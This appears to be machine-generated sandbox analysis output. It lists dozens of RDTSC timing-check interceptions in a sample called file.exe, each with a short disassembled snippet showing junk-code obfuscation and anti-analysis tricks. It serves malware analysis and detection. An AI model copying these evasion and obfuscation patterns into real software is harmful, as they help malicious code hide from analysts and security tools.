Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50347D second address: 5034B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FB438CB0BFFh 0x0000000f mov eax, dword ptr [eax] 0x00000011 jnp 00007FB438CB0C03h 0x00000017 jmp 00007FB438CB0BFDh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5034B4 second address: 5034B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5034B9 second address: 5034CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438CB0C01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5034CE second address: 5034D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5034D2 second address: 503544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov edi, 0269625Ah 0x0000000e push 00000003h 0x00000010 push 00000000h 0x00000012 or dword ptr [ebp+122D2860h], edi 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FB438CB0BF8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 push edi 0x00000035 or ecx, dword ptr [ebp+122D1F6Ch] 0x0000003b pop edx 0x0000003c jnl 00007FB438CB0BFCh 0x00000042 call 00007FB438CB0BF9h 0x00000047 jmp 00007FB438CB0C01h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jnl 00007FB438CB0BF8h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503544 second address: 503565 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB438C6F733h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503565 second address: 5035A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FB438CB0C00h 0x00000012 jmp 00007FB438CB0BFFh 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5035A2 second address: 503609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB438C6F726h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 jmp 00007FB438C6F735h 0x00000016 jmp 00007FB438C6F72Bh 0x0000001b popad 0x0000001c pop eax 0x0000001d add ecx, dword ptr [ebp+122D28BDh] 0x00000023 lea ebx, dword ptr [ebp+12455104h] 0x00000029 mov edi, dword ptr [ebp+122D17EDh] 0x0000002f xchg eax, ebx 0x00000030 pushad 0x00000031 push ebx 0x00000032 pushad 0x00000033 popad 0x00000034 pop ebx 0x00000035 push ebx 0x00000036 pushad 0x00000037 popad 0x00000038 pop ebx 0x00000039 popad 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007FB438C6F730h 0x00000041 pushad 0x00000042 push ecx 0x00000043 pop ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5036E8 second address: 50371F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FB438CB0C09h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 jmp 00007FB438CB0BFFh 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50371F second address: 5037EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F733h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FB438C6F738h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 js 00007FB438C6F738h 0x0000001b jmp 00007FB438C6F732h 0x00000020 jno 00007FB438C6F728h 0x00000026 popad 0x00000027 pop eax 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007FB438C6F728h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 jmp 00007FB438C6F732h 0x00000047 push 00000003h 0x00000049 push 00000000h 0x0000004b pushad 0x0000004c mov esi, dword ptr [ebp+122D290Dh] 0x00000052 mov si, ax 0x00000055 popad 0x00000056 push 00000003h 0x00000058 adc ecx, 041CC1FAh 0x0000005e call 00007FB438C6F729h 0x00000063 jnc 00007FB438C6F734h 0x00000069 push eax 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FB438C6F72Ah 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5037EF second address: 5037F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5037F9 second address: 5037FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5037FD second address: 50384A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jnp 00007FB438CB0C0Eh 0x00000012 jns 00007FB438CB0BFCh 0x00000018 jp 00007FB438CB0BF6h 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007FB438CB0C00h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50384A second address: 50389F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jl 00007FB438C6F73Bh 0x00000010 pop eax 0x00000011 xor edi, dword ptr [ebp+122D2A21h] 0x00000017 lea ebx, dword ptr [ebp+1245510Fh] 0x0000001d xor ch, FFFFFFA6h 0x00000020 push eax 0x00000021 pushad 0x00000022 jno 00007FB438C6F72Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FB438C6F730h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5169FC second address: 516A11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jc 00007FB438CB0BF6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516A11 second address: 516A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C6F734h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524065 second address: 52406B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52406B second address: 52406F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52406F second address: 524098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C05h 0x00000007 jo 00007FB438CB0BF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521EE5 second address: 521F20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FB438C6F72Ah 0x0000000a pop edi 0x0000000b jmp 00007FB438C6F734h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB438C6F732h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522065 second address: 522093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438CB0C09h 0x00000009 ja 00007FB438CB0BF6h 0x0000000f popad 0x00000010 jmp 00007FB438CB0BFAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5224EB second address: 522513 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB438C6F726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop esi 0x00000012 push edi 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FB438C6F72Dh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522E7A second address: 522EA9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FB438CB0C04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FB438CB0C05h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0824 second address: 4F082A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F082A second address: 4F0830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0830 second address: 4F0835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52319F second address: 5231F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C02h 0x00000007 jmp 00007FB438CB0C04h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jl 00007FB438CB0BF6h 0x00000015 pushad 0x00000016 popad 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a popad 0x0000001b ja 00007FB438CB0C24h 0x00000021 pushad 0x00000022 jmp 00007FB438CB0BFEh 0x00000027 push esi 0x00000028 pop esi 0x00000029 jns 00007FB438CB0BF6h 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5231F8 second address: 5231FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5231FE second address: 523202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5237A7 second address: 5237AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5237AD second address: 5237B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5237B1 second address: 5237E3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB438C6F726h 0x00000008 jmp 00007FB438C6F730h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB438C6F736h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5237E3 second address: 5237E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523915 second address: 523919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523919 second address: 52392A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB438CB0BFBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52392A second address: 523959 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F72Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007FB438C6F726h 0x0000000f jmp 00007FB438C6F737h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523EAF second address: 523EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FB438CB0C02h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523EC8 second address: 523F07 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FB438C6F737h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB438C6F731h 0x00000012 jmp 00007FB438C6F72Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523F07 second address: 523F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529649 second address: 52964E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52964E second address: 529694 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB438CB0BF6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f js 00007FB438CB0C08h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007FB438CB0BFFh 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 jne 00007FB438CB0BF6h 0x00000029 pop esi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529694 second address: 52969A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5302B5 second address: 5302BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53085F second address: 530887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB438C6F737h 0x0000000b popad 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007FB438C6F726h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5339C4 second address: 5339CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5339CA second address: 5339F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F737h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340C7 second address: 5340DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340DD second address: 5340F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C6F72Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340F0 second address: 534110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534574 second address: 53457A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534B37 second address: 534BA0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB438CB0BF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnp 00007FB438CB0C0Dh 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007FB438CB0BF8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e xchg eax, ebx 0x0000002f jmp 00007FB438CB0C03h 0x00000034 push eax 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 js 00007FB438CB0BF6h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534BA0 second address: 534BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53519A second address: 5351C1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB438CB0BFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jno 00007FB438CB0C01h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5351C1 second address: 5351C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537BA1 second address: 537BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53819A second address: 5381A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FB438C6F726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538D24 second address: 538D77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sbb si, CA0Eh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FB438CB0BF8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D1989h], eax 0x00000032 push 00000000h 0x00000034 sub di, D0C7h 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b pushad 0x0000003c js 00007FB438CB0BF6h 0x00000042 jns 00007FB438CB0BF6h 0x00000048 popad 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538AD0 second address: 538AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539807 second address: 53980B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A393 second address: 53A398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B61C second address: 53B634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438CB0C04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C06C second address: 53C076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB438C6F726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F2BC second address: 53F2C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F2C0 second address: 53F2C5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F2C5 second address: 53F2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB438CB0C04h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F2E4 second address: 53F33E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edi 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FB438C6F728h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 clc 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FB438C6F728h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 push 00000000h 0x00000045 mov edi, 08ABF730h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F33E second address: 53F344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5404EF second address: 5404F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F545 second address: 53F549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5415D4 second address: 5415E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F72Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5442AB second address: 5442BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0BFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5442BA second address: 5442C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5442C0 second address: 5442C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5442C4 second address: 544332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a jnl 00007FB438C6F738h 0x00000010 pop edi 0x00000011 nop 0x00000012 pushad 0x00000013 mov dword ptr [ebp+122D1929h], ebx 0x00000019 mov ebx, dword ptr [ebp+122D1A7Ch] 0x0000001f popad 0x00000020 push 00000000h 0x00000022 jmp 00007FB438C6F72Ah 0x00000027 push 00000000h 0x00000029 call 00007FB438C6F735h 0x0000002e mov dword ptr [ebp+1245D1C4h], esi 0x00000034 pop ebx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 jmp 00007FB438C6F72Dh 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5452B0 second address: 5452B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5452B6 second address: 5452BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5444BF second address: 5444FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007FB438CB0C08h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5444FA second address: 5444FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
